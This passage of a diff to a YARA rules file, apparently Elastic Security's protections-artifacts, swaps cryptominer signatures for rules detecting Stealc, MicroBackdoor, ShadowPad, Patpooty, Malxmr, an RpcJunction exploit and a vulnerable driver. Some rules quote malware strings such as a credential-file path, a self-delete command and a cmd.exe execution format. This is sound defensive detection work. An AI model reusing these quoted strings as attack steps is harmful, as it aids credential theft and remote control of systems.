+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Patpooty.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d38b9e76cbc863f69b29fc47262ceafd26ac476b0ae6283d3fa50985f93bedf3"
+		logic_hash = "ec7d12296383ca0ed20e3221fb96b9dbdaf6cc7f07f5c8383e43489a9fd6fcfe"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2c6019f7bc2fc47d7002e0ba6e35513950260b558f1fdc732d3556dabbaaa93d"
+		fingerprint = "275ff92c5de2d2183ea8870b7353d24f026f358dc7d30d1a35d508a158787719"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -100112,28 +104427,28 @@ rule ELASTIC_Linux_Cryptominer_Generic_9D531F70 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 49 10 58 00 10 D4 34 80 08 30 01 20 02 00 B1 00 83 49 23 16 54 }
+		$a = { F0 8B 45 E4 8B 34 88 8D 7E 01 FC 31 C0 83 C9 FF F2 AE F7 D1 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_23A5C29A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Patpooty_F90C7E43 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Linux Trojan Patpooty (Linux.Trojan.Patpooty)"
 		author = "Elastic Security"
-		id = "23a5c29a-6a8f-46f4-87ba-2a60139450ce"
+		id = "f90c7e43-0c32-487f-a7c2-8290b341019c"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1320d7a2b5e3b65fe974a95374b4ea7ed1a5aa27d76cd3d9517d3a271121103f"
-		logic_hash = "c2608e7ee73102e0737a859a18c5482877c6dc0e597d8a14d8d41f5e01a0b1f4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Patpooty.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "79475a66be8741d9884bc60f593c81a44bdb212592cd1a7b6130166a724cb3d3"
+		logic_hash = "2d995722b06ce51a5378e395896764421f84afcf6b13855a87ed43d9b9e38982"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1a7a86ff6e1666c2da6e6f65074bb1db2fe1c97d1ad42d1f670dd5c88023eecf"
+		fingerprint = "b0b0fd8da224bcd1c048c5578ed487d119f9bff4fb465f77d3043cf77d904f3d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -100141,202 +104456,220 @@ rule ELASTIC_Linux_Cryptominer_Generic_23A5C29A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C1 48 29 D0 48 01 C0 4D 8B 39 48 29 C1 49 29 F8 48 8D 04 C9 4D 8D }
+		$a = { C2 48 39 C2 75 F1 C7 43 58 01 00 00 00 C7 43 54 01 00 00 00 C7 43 50 01 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_Ea5703Ce : FILE MEMORY
+rule ELASTIC_Windows_Exploit_Rpcjunction_0405253B : FILE
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Exploit Rpcjunction (Windows.Exploit.RpcJunction)"
 		author = "Elastic Security"
-		id = "ea5703ce-4ad4-46cc-b253-8d022ca385a3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "0405253b-d91f-420e-b2e5-7f4aebeb7709"
+		date = "2024-02-28"
+		modified = "2024-03-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L141-L159"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bec6eea63025e2afa5940d27ead403bfda3a7b95caac979079cabef88af5ee0b"
-		logic_hash = "bbf0191ecff24fd24376fd3dec2e96644188ca4d26b4ca4f087e212bae2eab85"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Exploit_RpcJunction.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "05588fe3d2aae1273e9d0b0ac00c867d92bcdea41c33661760dcbe84439e7949"
+		logic_hash = "c663285d81e00bf6b028cdb043da3c6d5033a0c100d9c626acfa26d67bc1c093"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "a58a41ab4602380c0989659127d099add042413f11e3815a5e1007a44effaa68"
+		tags = "FILE"
+		fingerprint = "bd5f1c040f6fcf16e507d2c3cb94013ea17d85b2428b85ba1d84005cc44739ec"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 0F 94 C0 EB 05 B8 01 00 00 00 44 21 E8 48 8B 4C 24 08 64 48 33 0C 25 28 00 }
+		$s1 = "NtSetInformationFile"
+		$s2 = "DefineDosDevice"
+		$s3 = "\\GLOBALROOT\\RPC Control\\" wide nocase
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_6A4F4255 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Stealc_B8Ab9Ab5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Stealc (Windows.Trojan.Stealc)"
 		author = "Elastic Security"
-		id = "6a4f4255-d202-48b7-96ae-cb7211dcbea3"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "b8ab9ab5-5731-4651-b982-03ad8fe347fb"
+		date = "2024-03-13"
+		modified = "2024-03-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L161-L179"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8cfc38db2b860efcce5da40ce1e3992f467ab0b7491639d68d530b79529cda80"
-		logic_hash = "133290dc7423174bb3b41b152bab038d118b47baaca52705b66fd9be01692a03"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Stealc.yar#L1-L27"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0d1c07c84c54348db1637e21260dbed09bd6b7e675ef58e003d0fe8f017fd2c8"
+		logic_hash = "5fc5d5cea481d1d204d1aa6c52679a23eb59438df2fe547d14c00524772867bb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0ed37d7eccd4e36b954824614b976e1371c3b2ffe318345d247198d387a13de6"
+		fingerprint = "49253b1d1e39ba25b2d3b622d00633b9629715e65e1537071b0f3b0318b7db12"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FD 48 8D 5D 01 4C 8D 14 1B 48 C1 E3 05 4C 01 EB 4D 8D 7A FF F2 0F }
+		$seq_str_decrypt = { 55 8B EC 83 EC ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 C0 ?? 50 }
+		$seq_lang_check = { 81 E9 19 04 00 00 89 4D ?? 83 7D ?? ?? 77 ?? 8B 55 ?? 0F B6 82 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? }
+		$seq_mem_check_constant = { 72 09 81 7D F8 57 04 00 00 73 08 }
+		$seq_hwid_algo = { 8B 08 69 C9 0B A3 14 00 81 E9 51 75 42 69 8B 55 08 }
+		$str1 = "- Country: ISO?" ascii fullword
+		$str2 = "%d/%d/%d %d:%d:%d" ascii fullword
+		$str3 = "%08lX%04lX%lu" ascii fullword
+		$str4 = "\\Outlook\\accounts.txt" ascii fullword
+		$str5 = "/c timeout /t 5 & del /f /q" ascii fullword
 
 	condition:
-		all of them
+		(2 of ($seq*) or 4 of ($str*))
 }
-rule ELASTIC_Linux_Cryptominer_Generic_9088D00B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Stealc_A2B71Dc4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Stealc (Windows.Trojan.Stealc)"
 		author = "Elastic Security"
-		id = "9088d00b-622a-4cbf-9600-6dfcf2fc0c2c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "a2b71dc4-4041-4c1f-b546-a2b6947702d1"
+		date = "2024-03-13"
+		modified = "2024-03-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L181-L199"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8abb2b058ec475b0b6fd0c994685db72e98d87ee3eec58e29cf5c324672df04a"
-		logic_hash = "3ebc8cb6d647138e72194528dafc644c90222440855d657ec50109f11ff936da"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Stealc.yar#L29-L50"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0d1c07c84c54348db1637e21260dbed09bd6b7e675ef58e003d0fe8f017fd2c8"
+		logic_hash = "b79ac3e65cd7d2819d6a49f59ec661241c97174f66a7c4ada91932f10fc43583"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "85cbe86b9f96fc1b6899b35cc4aa16b66a91dc1239ed5f5cf3609322cec30f30"
+		fingerprint = "9eeb13fededae39b8a531fa5d07eaf839b56a1c828ecd11322c604962e8b1aec"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 2C 1C 77 16 48 8B 44 24 08 64 48 33 04 25 28 00 00 00 75 24 48 83 }
+		$seq_1 = { 8B C6 C1 E8 02 33 C6 D1 E8 33 C6 C1 E8 02 33 C6 83 E0 01 A3 D4 35 61 00 C1 E0 0F 66 D1 E9 66 0B C8 }
+		$seq_2 = { FF D3 8B 4D ?? E8 [4] 6A ?? 33 D2 5F 8B C8 F7 F7 85 D2 74 ?? }
+		$seq_3 = { 33 D2 8B F8 59 F7 F1 8B C7 3B D3 76 04 2B C2 03 C1 }
+		$seq_4 = { 6A 7C 58 66 89 45 FC 8D 45 F0 50 8D 45 FC 50 FF 75 08 C7 45 F8 01 }
 
 	condition:
-		all of them
+		2 of ($seq*)
 }
-rule ELASTIC_Linux_Cryptominer_Generic_71024C4A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Stealc_5D3F297C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Stealc (Windows.Trojan.Stealc)"
 		author = "Elastic Security"
-		id = "71024c4a-e8da-44fc-9cf9-c71829dfe87a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "5d3f297c-b812-401a-8671-2e00369cd6f2"
+		date = "2024-03-05"
+		modified = "2024-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L201-L219"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "afe81c84dcb693326ee207ccd8aeed6ed62603ad3c8d361e8d75035f6ce7c80f"
-		logic_hash = "0c66a3388fe8546ae180e52d50ef05a28755d24e47b3b56f390d5c6fcb0b89eb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Stealc.yar#L52-L70"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "885c8cd8f7ad93f0fd43ba4fb7f14d94dfdee3d223715da34a6e2fbb4d25b9f4"
+		logic_hash = "556d3bc9374a5ec23faa410900dfc94b5534434c9733165355d281976444a42b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dbbb74ec687e8e9293dfa2272d55b81ef863a50b0ff87daf15aaf6cee473efe6"
-		severity = 100
+		fingerprint = "ff90bfcb28bb3164fb11da5f35f289af679805f7e4047e48d97ae89e5b820dcd"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 46 08 48 89 45 08 48 8B 46 10 48 85 C0 48 89 45 10 74 BC F0 FF }
+		$a1 = { 83 EC 08 C7 45 F8 00 00 00 00 83 7D 08 00 74 4A 83 7D 0C 00 74 44 8B 45 0C 83 C0 01 50 6A 40 ?? ?? ?? ?? ?? ?? 89 45 F8 83 7D F8 00 74 2C C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_D81368A3 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Microbackdoor_903E33C3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Microbackdoor (Windows.Trojan.MicroBackdoor)"
 		author = "Elastic Security"
-		id = "d81368a3-00ca-44cf-b009-718272d389eb"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "903e33c3-d8f1-4c3b-900b-7503edb11951"
+		date = "2022-03-07"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L221-L239"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "71225e4702f2e0a0ecf79f7ec6c6a1efc95caf665fda93a646519f6f5744990b"
-		logic_hash = "0e30c9ebd8f2d3a489180f114daf91a3655ce9075ae25ea3d6ef5be472d7721a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_MicroBackdoor.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fbbfcc81a976b57739ef13c1545ea4409a1c69720469c05ba249a42d532f9c21"
+		logic_hash = "5f96f68df442eb1da21d87c3ae954c4e36cf87db583cbef1775f8ca9e76b776e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dd463df2c03389af3e7723fda684b0f42342817b3a76664d131cf03542837b8a"
+		fingerprint = "06b3c0164c2d06f50d1e6ae0a9edf823ae1fef53574e0d20020aada8721dfee0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { CB 49 C1 E3 04 49 01 FB 41 8B 13 39 D1 7F 3F 7C 06 4D 3B 43 08 }
+		$a = { 55 8B EC 83 EC 1C 56 57 E8 33 01 00 00 8B F8 85 FF 74 48 BA 26 80 AC C8 8B CF E8 E1 01 00 00 BA }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_97E9Cebe : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Microbackdoor_46F2E5Fd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Windows Trojan Microbackdoor (Windows.Trojan.MicroBackdoor)"
 		author = "Elastic Security"
-		id = "97e9cebe-d30b-49f6-95f4-fd551e7a42e4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "46f2e5fd-edea-4321-b38c-7478b47f054b"
+		date = "2022-03-07"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L241-L259"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b4ff62d92bd4d423379f26b37530776b3f4d927cc8a22bd9504ef6f457de4b7a"
-		logic_hash = "8aad31db2646fb9971b9af886e30f6c5a62a9c7de86cb9dc9e1341ac3b7762eb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_MicroBackdoor.yar#L21-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fbbfcc81a976b57739ef13c1545ea4409a1c69720469c05ba249a42d532f9c21"
+		logic_hash = "580be4c5b058916c2bc67a7964522a7c369bb254394e3cedbf0da025105231c4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "61bef39d174d97897ac0820b624b1afbfe73206208db420ae40269967213ebed"
+		fingerprint = "d4e410b9c36c1d5206f5d17190ef4e5fd4b4e4d40acad703775aed085a08ef7c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 8B 04 25 28 00 00 00 48 89 44 24 58 31 C0 49 83 FF 3F 48 89 74 }
+		$a1 = "cmd.exe /C \"%s%s\"" wide fullword
+		$a2 = "%s|%s|%d|%s|%d|%d" wide fullword
+		$a3 = "{{{$%.8x}}}" ascii fullword
+		$a4 = "30D78F9B-C56E-472C-8A29-E9F27FD8C985" ascii fullword
+		$a5 = "chcp 65001 > NUL & " wide fullword
+		$a6 = "CONNECT %s:%d HTTP/1.0" ascii fullword
 
 	condition:
-		all of them
+		5 of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_98Ff0F36 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Malxmr_7054A0D0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Linux Trojan Malxmr (Linux.Trojan.Malxmr)"
 		author = "Elastic Security"
-		id = "98ff0f36-5faf-417a-9431-8a44e9f088f4"
+		id = "7054a0d0-11d4-4671-a88d-ea933e73fe11"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L261-L279"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4c14aaf05149bb38bbff041432bf9574dd38e851038638aeb121b464a1e60dcc"
-		logic_hash = "60f17855b08cfc51e497003cbb5ed25d9168fb29c57d8bfd7105b9b5e714e3a1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Malxmr.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3a6b3552ffac13aa70e24fef72b69f683ac221105415efb294fb9a2fc81c260a"
+		logic_hash = "f7153fb11e0e4bf422021cc0fab99536c2a193198bf70d7f2af2fa5c1971c028"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "b25420dfc32522a060dc8470315409280e3c03de0b347e92a5bc6c1a921af94a"
+		fingerprint = "9661cc2b7a1d7b882ca39307adc927f5fb73d59f3771a8b456c2cf2ff3d801e9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -100344,28 +104677,28 @@ rule ELASTIC_Linux_Cryptominer_Generic_98Ff0F36 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 45 A8 8B 00 89 C2 48 8B 45 C8 48 01 C2 8B 45 90 48 39 C2 7E 08 8B }
+		$a = { 6E 64 47 56 7A 64 48 52 6C 63 33 52 30 5A 58 4E 30 64 47 56 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_1512Cf40 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Malxmr_144994A5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Linux Trojan Malxmr (Linux.Trojan.Malxmr)"
 		author = "Elastic Security"
-		id = "1512cf40-ae62-40cf-935d-589be4fe3d93"
-		date = "2021-04-06"
+		id = "144994a5-1e37-4913-b7aa-deed638b1a79"
+		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L281-L299"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fc063a0e763894e86cdfcd2b1c73d588ae6ecb411c97df2a7a802cd85ee3f46d"
-		logic_hash = "0d43e6a4bd5036c2b6adb61f2d7b11e625c20e9a3d29242c7c34cfc7708561be"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Malxmr.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "07db41a4ddaac802b04df5e5bbae0881fead30cb8f6fa53a8a2e1edf14f2d36b"
+		logic_hash = "4d40337895e63d3dc6f0d94889863f0f5017533658210b902b08d84cf3588cab"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "f9800996d2e6d9ea8641d51aedc554aa732ebff871f0f607bb3fe664914efd5a"
+		fingerprint = "473e686a74e76bb879b3e34eb207d966171f3e11cf68bde364316c2ae5cd3dc3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -100373,115 +104706,124 @@ rule ELASTIC_Linux_Cryptominer_Generic_1512Cf40 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C4 10 5B C3 E8 35 A7 F6 FF 0F 1F 44 00 00 53 48 }
+		$a = { 78 71 51 58 5A 5A 4D 31 5A 35 59 6B 4D 78 61 47 4A 58 55 54 4A }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_0D6005A1 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_BSMI_65223B8D : FILE
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Name: BSMI.sys, Version: 1.0.0.3"
 		author = "Elastic Security"
-		id = "0d6005a1-a481-4679-a214-f1e3ef8bf1d0"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "65223b8d-451a-4ae6-90cc-17d1482cc834"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L301-L319"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "230d46b39b036552e8ca6525a0d2f7faadbf4246cdb5e0ac9a8569584ef295d4"
-		logic_hash = "c3fd32e7582f0900b94fe3ba6b6bcdf238f78e2e343d70d5b0196a968a41cf26"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_BSMI.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "59626cac380d8fe0b80a6d4c4406d62ba0683a2f0f68d50ad506ca1b1cf25347"
+		logic_hash = "c4fa65bbd9d374092137b65209f29744caeb8b04fbd364b1acc67b73c45604e8"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "435040ec452d337c60435b07622d3a8af8e3b7e8eb6ec2791da6aae504cc2266"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "9ad213d919719d0fb0a99dcb9863720adec173e9801663e1cf5b99881435914a"
+		threat_name = "Windows.VulnDriver.BSMI"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 79 73 00 6E 6F 5F 6D 6C 63 6B 00 77 61 72 6E 00 6E 65 76 65 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 53 00 4D 00 49 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
 }
-rule ELASTIC_Linux_Cryptominer_Generic_E1Ff020A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Shadowpad_Be71209D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Target ShadowPad loader"
 		author = "Elastic Security"
-		id = "e1ff020a-446c-4537-8cc3-3bcc56ba5a99"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L321-L339"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5b611898f1605751a3d518173b5b3d4864b4bb4d1f8d9064cc90ad836dd61812"
-		logic_hash = "be801989b9770f3b70217bd5f13795b5dd0b516209f631d900b6647e0afe8d98"
+		id = "be71209d-b1c0-4922-87ae-47d0930d8755"
+		date = "2023-01-31"
+		modified = "2023-02-01"
+		reference = "https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_ShadowPad.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "452b08d6d2aa673fb6ccc4af6cebdcb12b5df8722f4d70d1c3491479e7b39c05"
+		logic_hash = "24e035bbcd5d44877e6e582a995d0035ad26c53e832c34b0c8a3836cb1a11637"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "363872fe6ef89a0f4c920b1db4ac480a6ae70e80211200b73a804b43377fff01"
+		fingerprint = "629f1502ce9f429ba6d497b8f2b0b35e57ca928a764ee6f3cb43521bfa6b5af4"
